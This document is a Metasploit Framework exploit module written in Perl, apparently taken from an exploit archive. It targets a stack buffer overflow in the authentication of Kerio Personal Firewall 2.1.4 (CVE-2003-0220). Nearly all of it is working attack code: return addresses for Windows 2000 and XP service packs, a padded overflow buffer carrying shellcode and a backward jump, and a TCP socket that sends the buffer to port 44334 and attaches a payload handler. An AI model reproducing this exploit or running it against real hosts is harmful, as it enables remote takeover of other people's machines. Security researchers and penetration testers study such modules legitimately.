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Kerio Personal Firewall <= 2.1.4 Remote Authentication Packet Over
====================================================================== Kerio Personal Firewall <= 2.1.4 Remote Authentication Packet Overflow ====================================================================== ## # This file is part of the Metasploit Framework and may be redistributed # according to the licenses defined in the Authors field below. In the # case of an unknown or missing license, this file defaults to the same # license as the core Framework (dual GPLv2 and Artistic). The latest # version of the Framework can always be obtained from metasploit.com. ## package Msf::Exploit::kerio_auth; use base "Msf::Exploit"; use strict; use Pex::Text; my $advanced = { }; my $info = { 'Name' => 'Kerio Personal Firewall 2 (2.1.4) Remote Authentication Packet Buffer Overflow', 'Version' => '$Revision: 1.1 $', 'Authors' => [ 'y0 [at] w00t-shell.net', ], 'Arch' => [ 'x86' ], 'OS' => [ 'win32', 'win2000', 'winxp', ], 'Priv' => 0, 'UserOpts' => { 'RHOST' => [1, 'ADDR', 'The target address'], 'RPORT' => [1, 'PORT', 'The target port', 44334], 'SSL' => [0, 'BOOL', 'Use SSL'], }, 'AutoOpts' => { 'EXITFUNC' => 'process' }, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00", 'Prepend' => "\x81\xc4\x54\xf2\xff\xff", 'Keys' => ['-ws2ord'], }, 'Description' => Pex::Text::Freeform(qq{ This module exploits a stack overflow in Kerio Personal Firewall administration authentication process. This module has only been tested against Kerio Personal Firewall 2 2.1.4. }), 'Refs' => [ ['BID', '7180'], ['CVE', '2003-0220'], ['URL', 'http://www1.corest.com/common/showdoc.php?idx=314&idxseccion=10'], ], 'Targets' => [ ['Windows 2000 Pro SP4 English', 0x7c2ec68b], ['Windows XP Pro SP0 English', 0x77e3171b], ['Windows XP Pro SP1 English', 0x77dc5527], ], 'Keys' => ['firewall'], 'DisclosureDate' => 'Apr 28 2003', }; sub new { my $class = shift; my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_); return($self); } sub Exploit { my $self = shift; my $target_host = $self->GetVar('RHOST'); my $target_port = $self->GetVar('RPORT'); my $target_idx = $self->GetVar('TARGET'); my $shellcode = $self->GetVar('EncodedPayload')->Payload; my $target = $self->Targets->[$target_idx]; if (! $self->InitNops(128)) { $self->PrintLine("[*] Failed to initialize the nop module."); return; } my $sploit = Pex::Text::AlphaNumText(4268). $shellcode. pack('V', $target->[1]). "\xe9\x0b\xfe\xff\xff"; $self->PrintLine(sprintf("[*] Trying to exploit target %s 0x%.8x", $target->[0], $target->[1])); my $s = Msf::Socket::Tcp->new ( 'PeerAddr' => $target_host, 'PeerPort' => $target_port, 'LocalPort' => $self->GetVar('CPORT'), 'SSL' => $self->GetVar('SSL'), ); if ($s->IsError) { $self->PrintLine('[*] Error creating socket: ' . $s->GetError); return; } $s->Send($sploit); $self->Handler($s); $s->Close(); return; } 1; # 0day.today [2024-12-25] #